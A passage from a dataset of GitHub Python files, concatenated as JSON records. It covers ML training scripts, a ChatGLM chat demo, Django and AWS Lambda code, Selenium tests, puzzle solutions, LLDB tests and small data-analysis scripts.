40\nreturned_history = model.fit(training_X, training_real_y, validation_data=(validation_X, validation_real_y), epochs=epochs)\ntest_loss, test_acc = model.evaluate(testing_X, testing_real_y, verbose=1)\nprint(\"Test Accuracy: \", test_acc)\n\ngraph_cost_accuracy(returned_history, epochs)\n","repo_name":"SeanGuo111/machine-learning","sub_path":"Neural Networks/Tensorflow ANN/tf_digit_recognition.py","file_name":"tf_digit_recognition.py","file_ext":"py","file_size_in_byte":4253,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"25875706037","text":"import os\nimport platform\nimport signal\n\nfrom transformers import AutoTokenizer, AutoModel\n\n# 创建一个自动标记器（tokenizer）实例，使用预训练模型“..\\\\chatglm-6b-int4”，并启用远程代码的信任\ntokenizer = AutoTokenizer.from_pretrained(\"..\\\\chatglm-6b-int4\", trust_remote_code=True)\n\n# 创建一个自动模型（model）实例，使用预训练模型“..\\\\chatglm-6b-int4”，并启用远程代码的信任\n# 将模型转换为半精度浮点数格式（half）并在CUDA设备上运行（如果可用）\nmodel = AutoModel.from_pretrained(\"..\\\\chatglm-6b-int4\", trust_remote_code=True).half().cuda()\n\n# 将模型设置为评估（inference）模式\nmodel = model.eval()\n\n# 获取操作系统的名称（Windows、Linux等）\nos_name = platform.system()\n\n# 根据操作系统的名称选择清屏命令\nclear_command = 'cls' if os_name == 'Windows' else 'clear'\n\n# 用于指示是否停止对话的变量\nstop_stream = False\n\n\n# 用于构建用户提示的函数，包括历史对话记录\ndef build_prompt(history):\n    prompt = \"欢迎使用 ChatGLM-6B 模型，输入内容即可进行对话，clear 清空对话历史，stop 终止程序\"\n    for query, response in history:\n        prompt += f\"\\n\\n用户：{query}\"\n        prompt += f\"\\n\\nChatGLM-6B：{response}\"\n    return prompt\n\n\n# 信号处理函数，用于捕获终止程序的���号\ndef signal_handler(signal, frame):\n    global stop_stream\n    stop_stream = True\n\n\n# 主函数\ndef main():\n    history = []  # 存储对话历史记录的列表\n    global stop_stream\n    print(\"欢迎使用 ChatGLM-6B 模型，输入内容即可进行对话，clear 清空对话历史，stop 终止程序\")\n    while True:\n        query = input(\"\\n用户：\")  # 接收用户输入的查询内容\n        if query.strip() == \"stop\":  # 如果用户输入\"stop\"，则退出循环，终止程序\n            break\n        if query.strip() == \"clear\":  # 如果用户输入\"clear\"，则清空对话历史记录，并清屏\n            history = []\n            os.system(clear_command)\n            print(\"欢迎使用 ChatGLM-6B 模型，输入内容即可进行对话，clear 清空对话历史，stop 终止程序\")\n            continue\n        count = 0\n        # 使用模型的stream_chat方法进行对话生成，返回一个生成器\n        # 在每次迭代中生成模型的响应，并将响应与查询添加到对话历史中\n        for response, history in model.stream_chat(tokenizer, query, history=history):\n            if stop_stream:  # 如果stop_stream标志为True，则停止对话生成\n                stop_stream = False\n                break\n            else:\n                count += 1\n                if count % 8 == 0:  # 每8次迭代清屏并打印当前对话历史\n                    os.system(clear_command)\n                    print(build_prompt(history), flush=True)\n                    signal.signal(signal.SIGINT, signal_handler)  # 捕获终止程序的信号（Ctrl+C）\n        os.system(clear_command)\n        print(build_prompt(history), flush=True)  # 打印最终的对话历史\n\n\n# 程序入口\nif __name__ == \"__main__\":\n    main()\n","repo_name":"VISS7289/group_chatBot","sub_path":"py-chatbot/ChatGLM-6B/cli_demo.py","file_name":"cli_demo.py","file_ext":"py","file_size_in_byte":3160,"program_lang":"python","lang":"zh","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"33955508395","text":"import os\nfrom django.core.management.base import BaseCommand\nfrom django.conf import settings\n\n\n# setup cronjobs\n# You can add these by adding ./manage.py crontab to contrab -e\n# or overwrite crontab with ./manage.py crontab | crontab -\n# crontab command asumes your virtualenv has the same name as your project\n# end is located in the same directory as your project folder\nclass Command(BaseCommand):\n    def handle(self, *args, **options):\n        venv_path = os.path.join(\n            settings.BASE_DIR, \"../\", \"venv\",\n            settings.PROJECT_NAME, \"bin\", \"python\"\n        )\n        task_path = task = os.path.join(\n            settings.BASE_DIR, \"manage.py\"\n        )\n\n        self.stdout.write(\"# http://www.unix.com/man-page/linux/5/crontab/\")\n\n        #add regular wallet updates\n        cron = \"@weekly\"\n        task = \"update_wallets\"\n        self.stdout.write(\"%s %s %s %s\" % (cron, venv_path, task_path, task))\n\n        # update alliances\n        cron = \"@daily\"\n        task = \"update_alliances\"\n        self.stdout.write(\"%s %s %s %s\" % (cron, venv_path, task_path, task))\n\n        #update sovereingthy\n        cron = \"0 */2 * * *\"\n        task = \"update_sovereignty\"\n        self.stdout.write(\"%s %s %s %s\" % (cron, venv_path, task_path, task))\n","repo_name":"Sult/daf","sub_path":"tasks/management/commands/crontab.py","file_name":"crontab.py","file_ext":"py","file_size_in_byte":1265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"6697673930","text":"import logging\nimport threading\n\nfrom kube_hunter.conf import get_config\nfrom kube_hunter.core.events.event_handler import handler\nfrom kube_hunter.core.events.types import (\n    Event,\n    Service,\n    Vulnerability,\n    HuntFinished,\n    HuntStarted,\n    ReportDispatched,\n)\n\nlogger = logging.getLogger(__name__)\n\nservices_lock = threading.Lock()\nservices = list()\nvulnerabilities_lock = threading.Lock()\nvulnerabilities = list()\nhunters = handler.all_hunters\n\n\n@handler.subscribe(Service)\n@handler.subscribe(Vulnerability)\nclass Collector:\n    def __init__(self, event=None):\n        self.event = event\n\n    def execute(self):\n        \"\"\"function is called only when collecting data\"\"\"\n        global services\n        global vulnerabilities\n        bases = self.event.__class__.__mro__\n        if Service in bases:\n            with services_lock:\n                services.append(self.event)\n            logger.info(f'Found open service \"{self.event.get_name()}\" at {self.event.location()}')\n        elif Vulnerability in bases:\n            with vulnerabilities_lock:\n                vulnerabilities.append(self.event)\n            logger.info(f'Found vulnerability \"{self.event.get_name()}\" in {self.event.location()}')\n\n\nclass TablesPrinted(Event):\n    pass\n\n\n@handler.subscribe(HuntFinished)\nclass SendFullReport:\n    def __init__(self, event):\n        self.event = event\n\n    def execute(self):\n        config = get_config()\n        report = config.reporter.get_report(statistics=config.statistics, mapping=config.mapping)\n        config.dispatcher.dispatch(report)\n        handler.publish_event(ReportDispatched())\n        handler.publish_event(TablesPrinted())\n\n\n@handler.subscribe(HuntStarted)\nclass StartedInfo:\n    def __init__(self, event):\n        self.event = event\n\n    def execute(self):\n        logger.info(\"Started hunting\")\n        logger.info(\"Discovering Open Kubernetes Services\")\n","repo_name":"aquasecurity/kube-hunter","sub_path":"kube_hunter/modules/report/collector.py","file_name":"collector.py","file_ext":"py","file_size_in_byte":1902,"program_lang":"python","lang":"en","doc_type":"code","stars":4489,"dataset":"github-code","pt":"60"}
+{"seq_id":"18976170697","text":"from .base import FunctionalTest\nfrom selenium import  webdriver\nfrom selenium.webdriver.common.keys import Keys\nimport time\n\nclass NewVisitorTest(FunctionalTest):        \n    def test_can_start_a_list_and_retrieve_it_later(self):\n        #伊迪斯听说有一个很酷的应用\n        #她去看了应用的首页\n        \n        self.browser.get(self.server_url)\n\n        #她注意到网页的标题和头部都包含“TO-DO”这个词\n        self.assertIn(\"To-Do\",self.browser.title)\n        header_text = self.browser.find_element_by_tag_name('h1').text\n        self.assertIn('To-Do',header_text)\n\n        #应用邀请她输入一个待办事项\n        inputbox = self.get_item_input_box()\n        #她在一个文本框中输入了“Buy peacock feathers”(购买孔雀羽毛)\n        #伊迪斯的爱好是使用假蝇做鱼饵钓鱼\n        inputbox.send_keys('Buy peacock feathers')\n\n        #她按回车键后，被带到了一个新URL\n        #待办事件表格中显示了“1：Buy peacock feathers”\n        inputbox.send_keys(Keys.ENTER)\n        time.sleep(3)\n        edith_list_url = self.browser.current_url\n        #time.sleep(1)\n        self.assertRegex(edith_list_url,'/lists/.+')\n        self.check_for_row_in_list_table('1:Buy peacock feathers')\n        \n        #页面中又显示了一个文本框，可以输入其他事项\n        #她输入了“Use peacock feathers to make a fly”(使用孔雀羽毛做假蝇)\n        #伊迪斯做事很有条理\n        time.sleep(3)\n        inputbox = self.get_item_input_box()\n        inputbox.send_keys('Use peacock feathers to make a fly')\n        inputbox.send_keys(Keys.ENTER)\n        time.sleep(10)\n\n        #页面再次更新，清单中显示了这两个待办事项\n        self.check_for_row_in_list_table('1:Buy peacock feathers')\n        self.check_for_row_in_list_table('2:Use peacock feathers to make a fly')\n        \n\n        #现在一个叫弗朗西斯的新用户访问了网站\n        ##我们使用一个新浏览器会话\n        ##确保伊迪斯的信息不会从cookie中泄露出来\n        self.browser.quit()\n        self.browser = webdriver.Firefox()\n\n        #弗朗西斯访问首页\n        #页面中看不到伊迪斯的清单\n        self.browser.get(self.server_url)\n        page_text = self.browser.find_element_by_tag_name('body').text\n        self.assertNotIn('Buy peacock feathers',page_text)\n        self.assertNotIn('make a fly',page_text)\n\n        #弗朗西斯输入新的待办事件\n        inputbox = self.get_item_input_box()\n        inputbox.send_keys('Do homework')\n        inputbox.send_keys(Keys.ENTER)\n\n        #弗朗西斯获得了他的唯一url\n        time.sleep(5)\n        francis_list_url = self.browser.current_url\n        time.sleep(5)\n        self.assertRegex(francis_list_url,'/lists/.+')\n        self.assertNotEqual(francis_list_url,edith_list_url)\n\n        page_text = self.browser.find_element_by_tag_name('body').text\n        self.assertNotIn('Buy peacock feathers',page_text)\n        self.assertIn('Do homework',page_text)\n\n","repo_name":"YYWQ/mysite","sub_path":"functional_tests/test_simple_list_creation.py","file_name":"test_simple_list_creation.py","file_ext":"py","file_size_in_byte":3074,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"69963086910","text":"import boto3\nimport uuid\nimport os\nfrom datetime import date\nfrom botocore.exceptions import ClientError\nfrom marshmallow import ValidationError\nfrom marshmallow import fields, validate, Schema\n\n\ndef full(f):\n    def wrap(*args):\n        wrapped_output = f(*args) + ': '\n        for arg in args:\n            wrapped_output += f'{arg.__dict__}'\n        return wrapped_output\n    return wrap\n\n\nclass Announcement:\n    def __init__(self, id, title, description, date):\n        self.id = id\n        self.title = title\n        self.description = description\n        self.date = date\n\n    @full\n    def __repr__(self):\n        return f'{type(self).__name__}[{self.id}]'\n\n\nclass AnnouncementSchema(Schema):\n    id = fields.UUID(required=True)\n    title = fields.String(required=True, validate=validate.Length(min=3))\n    description = fields.String(required=True,\n                                validate=validate.Length(min=10))\n    date = fields.Date(required=True)\n\n\ndef validate_date(date):\n    return date.strftime('%Y-%m-%d')\n\n\nTABLE_NAME = os.environ['TABLE_NAME']\nclient = boto3.resource('dynamodb')\ntable = client.Table(TABLE_NAME)\n\n\ndef lambda_handler(event, context, table=table):\n\n    for key in event.keys():\n        if key not in ['title', 'description']:\n            return {\n                'statusCode': '422',\n                'errorMessage': 'Unprocessable Entity'\n            }\n\n    announcement = event\n    announcement['id'] = uuid.uuid4()\n    announcement['date'] = validate_date(date.today())\n\n    schema = AnnouncementSchema()\n\n    try:\n        validated_announcement = schema.load(announcement)\n    except ValidationError as e:\n        return {\n            'statusCode': '400',\n            'errorMessage': e.messages\n        }\n\n    try:\n        table.put_item(Item=schema.dump(validated_announcement))\n    except ClientError as e:\n        return {\n            'statusCode': '400',\n            'errorMessage': e.response['Error']['Message']\n        }\n\n    return {\n        'statusCode': '200',\n        'body': 'Announcement \"' + event['title'] + '\" posted'\n    }\n","repo_name":"DimaAntoniuk/microservice","sub_path":"lambda/producer/lambda_function.py","file_name":"lambda_function.py","file_ext":"py","file_size_in_byte":2080,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"18949284307","text":"# Advent of code - DAY 16\nimport string\n\n\n# Read data\nwith open('data/d16.txt') as f:\n    orig_data = f.read()\n\n\n# -- Problem 1 function --\ndef dance(moves, start, *, verbose=False):\n    PROGRAMS = list(start)    \n    \n    for m in moves:\n        if m[0] == 's':\n            # SPIN\n            p = int(m[1:])\n            PROGRAMS = PROGRAMS[-p:] + PROGRAMS[:-p]\n        \n        elif m[0] == 'x':\n            # Exchange\n            i1, i2 = [ int(i) for i in m[1:].split('/') ]\n            PROGRAMS[i1], PROGRAMS[i2] = PROGRAMS[i2], PROGRAMS[i1]\n        \n        elif m[0] == 'p':\n            # PARTNER\n            p1, p2 = m[1:].split('/')\n            i1 = PROGRAMS.index(p1)\n            i2 = PROGRAMS.index(p2)\n            PROGRAMS[i1], PROGRAMS[i2] = PROGRAMS[i2], PROGRAMS[i1]\n        \n        else:\n            raise ValueError('Unknown move:', m)\n        \n        if verbose:\n            print('{:>6}'.format(m), '::', ''.join(PROGRAMS))\n    \n    return ''.join(PROGRAMS)\n\n# Test\ndance(['s1', 'x3/4', 'pe/b'], string.ascii_lowercase[:5], verbose=True)\n  # > baedc\n\n# Run problem 1\ndance(raw_data, string.ascii_lowercase[:16])\n  # > iabmedjhclofgknp\n\n\n\n# -- Problem 2 function --\ndef repeat_dance(dance_moves, *, total=16, times=10**9):\n    \n    # Get ORDER OF PERMUTATION first\n    START = string.ascii_lowercase[:total]\n    current = START[:]  # copy\n    perms_done = 0\n    HIST = { 0: START }\n\n    while True:\n        current = dance(dance_moves, current)\n        perms_done += 1\n        # add to history\n        HIST[perms_done] = ''.join(current)\n        \n        if current == START:\n            ORDER = perms_done\n            break\n    \n    print('Order of permutation:', ORDER)\n    \n    # Return the final program arrangement\n    return HIST[ times % ORDER ]\n\n\n# Test\nrepeat_dance(['s1', 'x3/4', 'pe/b'], total=5, times=2)\n  # > ceadb\n\n# Run problem 2\nrepeat_dance(raw_data, total=16, times=10**9)\n  # > oildcmfeajhbpngk\n\n","repo_name":"WillahScott/adventofcode","sub_path":"day16.py","file_name":"day16.py","file_ext":"py","file_size_in_byte":1935,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"69955383871","text":"# Write a program to print words that doesn't starts with a and c.\n\nfrom pyspark import SparkConf, SparkContext\n\nconf = SparkConf() \\\n.set('spark.app.name', 'Filter Quiz') \\\n.setMaster('local[*]')\n\nsc = SparkContext.getOrCreate(conf=conf)\n\nlines = sc.textFile('./filter_quiz.txt')\n\nword_without_a_or_c = lines.map(lambda line: line.split(\" \")).flatMap(lambda words: words).filter(lambda word: (not word.startswith('a')) and (not word.startswith('c')))\n\nprint(word_without_a_or_c.collect())","repo_name":"AsishSamantaray/spark-learning","sub_path":"RDD/filter_quiz.py","file_name":"filter_quiz.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"7401657592","text":"\"\"\"\nIn Swift, test `po 0x12345600`, via dwim-print.\n\"\"\"\n\nimport lldb\nfrom lldbsuite.test.lldbtest import *\nfrom lldbsuite.test.decorators import *\nimport lldbsuite.test.lldbutil as lldbutil\n\n\nclass TestCase(TestBase):\n    @swiftTest\n    def test_swift_po_address(self):\n        self.build()\n        _, _, thread, _ = lldbutil.run_to_source_breakpoint(\n            self, \"// break here\", lldb.SBFileSpec(\"main.swift\")\n        )\n        frame = thread.frame[0]\n        addr = frame.FindVariable(\"object\").GetLoadAddress()\n        hex_addr = f\"{addr:x}\"\n        self.expect(\n            f\"dwim-print -O -- 0x{hex_addr}\", patterns=[f\"Object@0x0*{hex_addr}\"]\n        )\n        self.expect(f\"dwim-print -O -- {addr}\", patterns=[f\"Object@0x0*{hex_addr}\"])\n\n    @swiftTest\n    def test_swift_po_non_address_hex(self):\n        \"\"\"No special handling of non-memory integer values.\"\"\"\n        self.build()\n        lldbutil.run_to_source_breakpoint(\n            self, \"// break here\", lldb.SBFileSpec(\"main.swift\")\n        )\n        self.expect(f\"dwim-print -O -- 0x1000\", substrs=[\"4096\"])\n\n    @swiftTest\n    def test_print_swift_object_does_not_show_name(self):\n        \"\"\"Ensure that objects are printed without a name, and without the '='\n        that would follow the name.\"\"\"\n        self.build()\n        lldbutil.run_to_source_breakpoint(\n            self, \"// break here\", lldb.SBFileSpec(\"main.swift\")\n        )\n\n        self.expect(f\"dwim-print user\", patterns=[r\"^\\(a\\.User\\) 0x[0-9a-f]{7,} \\{\"])\n","repo_name":"DeNA/DeClang","sub_path":"lldb/test/API/commands/dwim-print/swift/TestDWIMPrintSwift.py","file_name":"TestDWIMPrintSwift.py","file_ext":"py","file_size_in_byte":1497,"program_lang":"python","lang":"en","doc_type":"code","stars":365,"dataset":"github-code","pt":"60"}
+{"seq_id":"6331575689","text":"from selenium import webdriver\nfrom selenium.webdriver.support.ui import WebDriverWait\nfrom selenium.common.exceptions import *\nfrom selenium.webdriver.support import expected_conditions as EC\nfrom selenium.webdriver.common.by import By\nfrom time import sleep\n\nclass W3Router:\n\tdef __init__(self):\n\t\tself.driver = webdriver.Chrome(\"C:\\python 3.7.3\\Scripts\\chromedriver.exe\")\n\t\tself.url = \"http://wifi.ys7.com\"\n\n\tdef Login(self):\n\t\tself.driver.get(self.url)\n\t\tself.driver.maximize_window()\n\t\tsleep(5)\n\t\t# try:\n\t\t# \tself.driver.find_element_by_xpath(\"//*[@id='welcome_btn']\").click()\n\t\t# \tsleep(3)\n\t\t# \tself.driver.find_element_by_xpath(\"//*[@id='next']\").click()\n\t\t# \tsleep(3)\n\t\t# \tself.driver.find_element_by_id(\"usrpwd\").send_keys(\"1234qwer\")\n\t\t# \tself.driver.find_element_by_id(\"usrpwd2\").send_keys(\"1234qwer\")\n\t\t# \tself.driver.find_element_by_css_selector(\"#next\").click()\n\t\t# except NoSuchElementException:\n\t\t# \traise ValueError\n\t\ttry:\n\t\t\tuser_id = (By.ID,\"userpwd\")\n\t\t\tuser_id_input = WebDriverWait(self.driver,5).until(EC.visibility_of_element_located(user_id))\n\t\t\tuser_id_input.send_keys(\"1234qwer\")\n\n\t\t\tself.driver.find_element_by_id(\"login_btn\").click()\n\t\texcept NoSuchElementException:\n\t\t\traise ValueError\n\n\tdef Choose_Mode(self,mode):\n\t\ttry:\n\t\t\tswitch = {\"wired_uplink\":\"//*[@id='wired_uplink']\",\"5g_up\":\"//*[@id='5g_up']\"}\n\t\t\tmode_str = (By.XPATH,switch[mode])\n\t\t\tmode_click = WebDriverWait(self.driver,3).until(EC.visibility_of_element_located(mode_str))\n\t\t\tmode_click.click()\n\t\texcept NoSuchElementException:\n\t\t\traise ValueError\n\n\tdef Setting_Mesh(self,up_ssid,up_pwd,mesh_ssid,mesh_pwd):\n\t\ttry:\n\t\t\tssid_desc = (By.XPATH,\"//*[@id='ssid_desc']\")\n\t\t\tssid_desc_click = WebDriverWait(self.driver,30).until(EC.visibility_of_element_located(ssid_desc))\n\t\t\tssid_desc_click.click()\n\n\t\t\t# 获取搜索到的上行5G数量,根据输入所需要连接是SSID进行搜索，搜索到之后选择\n\t\t\tsleep(3)\n\t\t\tsum_up_5G = self.driver.find_element_by_xpath(\"/html/body/div[3]/div[4]/ul\")\n\t\t\tlist = sum_up_5G.find_elements_by_xpath(\"li\")\n\t\t\ti = 1\n\t\t\tcount = 0\n\t\t\tfor i in range(1,len(list)):\n\t\t\t\tup_5G = self.driver.find_element_by_xpath(\"/html/body/div[3]/div[4]/ul/li[\"+ str(i) +\"]/div\").text\n\t\t\t\tif up_ssid == up_5G and i < len(list):\n\t\t\t\t\tself.driver.find_element_by_xpath(\"/html/body/div[3]/div[4]/ul/li[\"+ str(i) +\"]/div\").click()\n\t\t\t\t\tself.driver.find_element_by_id(\"wifi_ok\").click()\n\t\t\t\t\tbreak\n\n\t\t\tup_pwd_str = (By.ID,\"ssid_pwd_input\")\n\t\t\tup_pwd_str_input = WebDriverWait(self.driver,5).until(EC.visibility_of_element_located(up_pwd_str))\n\t\t\tup_pwd_str_input.send_keys(up_pwd)\n\n\t\t\tmesh_ssid_str = (By.XPATH,\"//*[@id='2g_ssid']/div/input\")\n\t\t\tmesh_ssid_str_input = WebDriverWait(self.driver,5).until(EC.visibility_of_element_located(mesh_ssid_str))\n\t\t\tmesh_ssid_str_input.send_keys(mesh_ssid)\n\n\t\t\tmesh_pwd_str = (By.XPATH,\"//*[@id='2g_pwd']/div/div[1]/input\")\n\t\t\tmesh_pwd_str_input = WebDriverWait(self.driver,5).until(EC.visibility_of_element_located(mesh_pwd_str))\n\t\t\tmesh_pwd_str_input.send_keys(mesh_pwd)\n\t\texcept NoSuchElementException:\n\t\t\traise ValueError\n\nif __name__ == '__main__':\n    W3R = W3Router()\n    W3R.Login()\n    W3R.Choose_Mode(\"5g_up\")\n    W3R.Setting_Mesh(\"jichengceshi_5G\",\"Testwaiwang1234\",\"Mesh_111\",\"1234qwer\")","repo_name":"Jermey1996/Mesh_Auto","sub_path":"W3Router.py","file_name":"W3Router.py","file_ext":"py","file_size_in_byte":3244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"4795216995","text":"import csv\r\n#import insurance.csv into our file and inspect the contents.\r\nages = []\r\nsex = []\r\nbmi = []\r\nchildren = []\r\nsmoker = []\r\nregion = []\r\ncharges = []\r\n\r\nwith open('insurance.csv', 'r') as insurance_costs:\r\n    insurance = csv.reader(insurance_costs)\r\n    for row in insurance:\r\n        ages.append(row[0])\r\n        sex.append(row[1])\r\n        bmi.append(row[2])\r\n        children.append(row[3])\r\n        smoker.append(row[4])\r\n        region.append(row[5])\r\n        charges.append(row[6])\r\n        #contains age, sex, bmi, children, smoker, region, charges\r\n#turn age into a workable set\r\nupdated_ages = []\r\nfor age in ages:\r\n    if age == 'age':\r\n        continue\r\n    updated_ages.append(age)\r\nages_integer = list(map(int, updated_ages))\r\nages_integer\r\n#find the average age\r\ndef average(lst):\r\n    return sum(lst)/len(lst)\r\nprint(\"The average age of our customer is \"+str(round(average(ages_integer),2))+\" years old.\")\r\n\r\n#Where are the majority of individuals from\r\n#work with region\r\ncount1 = 0\r\ncount2 = 0\r\ncount3 = 0\r\ncount4 = 0\r\nfor i in region:\r\n    if i == 'northeast':\r\n        count1 += 1\r\n    elif i == 'northwest':\r\n        count2 += 1\r\n    elif i == 'southeast':\r\n        count3 += 1\r\n    elif i == 'southwest':\r\n        count4 += 1\r\n#print out the region with the most customers\r\nprint(\"Most of our customers (\"+ str(max(count1,count2,count3,count4))+\") come from the southwest.\")\r\n#compare average cost smoker vs. non_smoker\r\nno_smoker = 0\r\nyes_smoker = 0\r\nfor lung in smoker:\r\n    if lung == 'yes':\r\n        yes_smoker += 1\r\n    elif lung == 'no':\r\n        no_smoker += 1\r\nprint(\"The number of our customers who smoke: \" + str(yes_smoker) + \".\") \r\nprint(\"The number of our customers who do not smoke: \" + str(no_smoker) + \".\")\r\n#average cost of smoker\r\n#turn charges into a workable set\r\nsmoker_cost = 0\r\nno_smoker_cost = 0\r\nfor cost in range(1,len(charges)-1):\r\n    if smoker[cost] == 'yes':\r\n        smoker_cost +=  float(charges[cost])\r\n    elif smoker[cost] == 'no':\r\n        no_smoker_cost += float(charges[cost])\r\n#divide the total charges by smokers to get the average cost for a smoker\r\naverage_smoker_cost = smoker_cost/yes_smoker\r\naverage_no_smoker_cost = no_smoker_cost/no_smoker\r\n\r\nprint(\"The average cost of insurance for a smoker is $\"+ str(round(average_smoker_cost,2)))\r\nprint(\"The average cost of insurance for a non smoker is $\" + str(round(average_no_smoker_cost,2)))\r\n\r\n#lets get the average of all our customers first\r\nnu_charges=0\r\nfor charge in charges:\r\n    if charge == 'charges':\r\n        continue\r\n    else:\r\n        nu_charges += float(charge)\r\naverage_charge = nu_charges/len(charges)-1\r\nprint(\"The average cost per customer is : $\" + str(round(average_charge, 2)))\r\n","repo_name":"JorgeCrispin/US-medical-insurance-portfolio","sub_path":"insurance portfolio.py","file_name":"insurance portfolio.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71052780671","text":"\"\"\" Text augmentation by simple baselines. \"\"\"\nimport argparse\nimport json\nimport os\nimport logging\nfrom datasets import load_dataset\nfrom m3 import text_augmenter\n\nlogging.basicConfig(format='%(asctime)s %(levelname)-8s %(message)s', level=logging.INFO, datefmt='%Y-%m-%d %H:%M:%S')\n\n\ndef main():\n    parser = argparse.ArgumentParser(description='Text augmentation by simple baselines.')\n    # config\n    parser.add_argument('-a', '--augment-type', help='', default='word_swapping_random', type=str)\n    parser.add_argument('-t', '--transformations-per-example', help='', default=2, type=int)\n    parser.add_argument('-m', '--max-token-size', help='', default=256, type=int)\n    # input\n    parser.add_argument('-f', '--file-path', help='path to file', default=None, type=str)\n    parser.add_argument('-i', '--input-sentence', help='input sentence', default=None, type=str, nargs='+')\n    parser.add_argument('-d', '--dataset', help='huggingface dataset', default=None, type=str)\n    parser.add_argument('-s', '--dataset-split', help='huggingface dataset split', default='train', type=str)\n    parser.add_argument('--dataset-name', help='huggingface dataset name', default=None, type=str)\n    parser.add_argument('--dataset-column', help='huggingface dataset column', default=None, type=str)\n    parser.add_argument('-e', '--export-file-path', help='path to file', default='output.json', type=str)\n    opt = parser.parse_args()\n\n    input_sentences = None\n    if opt.file_path is not None:\n        assert os.path.exists(opt.file_path), f'file not found at {opt.file_path}'\n        with open(opt.file_path) as f:\n            input_sentences = [i for i in f.read().split('\\n') if len(i) > 0]\n    elif opt.input_sentence is not None:\n        input_sentences = opt.input_sentence\n    elif opt.dataset is not None:\n        if opt.dataset_name is not None:\n            data = load_dataset(opt.dataset, opt.dataset_name, split=opt.dataset_split)\n        else:\n            data = load_dataset(opt.dataset, split=opt.dataset_split)\n        input_sentences = data[opt.dataset_column]\n    assert input_sentences is not None, 'input is not specified'\n\n    logging.info(f'total: {len(input_sentences)} sentences')\n    input_sentences = [i for i in input_sentences if len(i.split(' ')) < opt.max_token_size]\n    logging.info(f'filtered: {len(input_sentences)}')\n\n    output = text_augmenter(\n        input_sentences, augment_type=opt.augment_type, transformations_per_example=opt.transformations_per_example\n    )\n    if os.path.dirname(opt.export_file_path) != '':\n        os.makedirs(os.path.dirname(opt.export_file_path), exist_ok=True)\n    with open(opt.export_file_path, 'w') as f:\n        json.dump({i: [o, list(range(len(o)))] for o, i in zip(output, input_sentences)}, f)\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"asahi417/mlm-manifold-mapping","sub_path":"m3/m3_cl/rewrite_text_basic_augmenter.py","file_name":"rewrite_text_basic_augmenter.py","file_ext":"py","file_size_in_byte":2807,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34207822414","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nVr = np.linspace(-2.5, 2.5, 25)\nVout_steady_state = [-0.47, -0.45, -0.4, -0.27, -0.16, -0.05, 0.11, 0.2, 0.3, 0.5, 0.6, 0.7, 0.79, 0.9, 1, 1.15, 1.3, 1.4, 1.47, 1.6, 1.73, 1.82, 2.05, 2.07, 2.1]\n\nplt.plot(Vr, Vout_steady_state, color = \"blue\", marker = \"o\", ls = \"-\")\n\nplt.title(\"Steady State Vout vs Control Voltage Plot\", size = 25)\n\nplt.xlabel(\"Control Voltage Vr (in Volts)\", size = 18)\nplt.ylabel(\"Steady State Vout\", size = 18)\n\nplt.grid()\n\nplt.show()","repo_name":"PushkalM11/College-Courses","sub_path":"Analog Lab/Experiment 9/Plot Code.py","file_name":"Plot Code.py","file_ext":"py","file_size_in_byte":509,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"11204265803","text":"from typing import Optional, List\n\nfrom torch.nn import Module\nfrom torch.optim import Optimizer\nfrom torch.utils.data import ConcatDataset\n\nfrom avalanche.benchmarks.utils import AvalancheConcatDataset\nfrom avalanche.training.plugins.evaluation import default_logger\nfrom avalanche.training.plugins import StrategyPlugin, EvaluationPlugin\nfrom avalanche.training.strategies import BaseStrategy\n\n\nclass Cumulative(BaseStrategy):\n    \"\"\" Cumulative training strategy.\n\n    At each experience, train model with data from all previous experiences\n        and current experience.\n        \"\"\"\n\n    def __init__(self, model: Module, optimizer: Optimizer, criterion,\n                 train_mb_size: int = 1, train_epochs: int = 1,\n                 eval_mb_size: int = None, device=None,\n                 plugins: Optional[List[StrategyPlugin]] = None,\n                 evaluator: EvaluationPlugin = default_logger, eval_every=-1):\n        \"\"\" Init.\n\n        :param model: The model.\n        :param optimizer: The optimizer to use.\n        :param criterion: The loss criterion to use.\n        :param train_mb_size: The train minibatch size. Defaults to 1.\n        :param train_epochs: The number of training epochs. Defaults to 1.\n        :param eval_mb_size: The eval minibatch size. Defaults to 1.\n        :param device: The device to use. Defaults to None (cpu).\n        :param plugins: Plugins to be added. Defaults to None.\n        :param evaluator: (optional) instance of EvaluationPlugin for logging\n            and metric computations.\n        :param eval_every: the frequency of the calls to `eval` inside the\n            training loop. -1 disables the evaluation. 0 means `eval` is called\n            only at the end of the learning experience. Values >0 mean that \n            `eval` is called every `eval_every` epochs and at the end of the \n            learning experience.\n        \"\"\"\n\n        super().__init__(\n            model, optimizer, criterion,\n            train_mb_size=train_mb_size, train_epochs=train_epochs,\n            eval_mb_size=eval_mb_size, device=device, plugins=plugins,\n            evaluator=evaluator, eval_every=eval_every)\n\n        self.dataset = None  # cumulative dataset\n\n    def train_dataset_adaptation(self, **kwargs):\n        \"\"\"\n            Concatenates all the previous experiences.\n        \"\"\"\n        if self.dataset is None:\n            self.dataset = self.experience.dataset\n        else:\n            self.dataset = AvalancheConcatDataset(\n                [self.dataset, self.experience.dataset])\n        self.adapted_dataset = 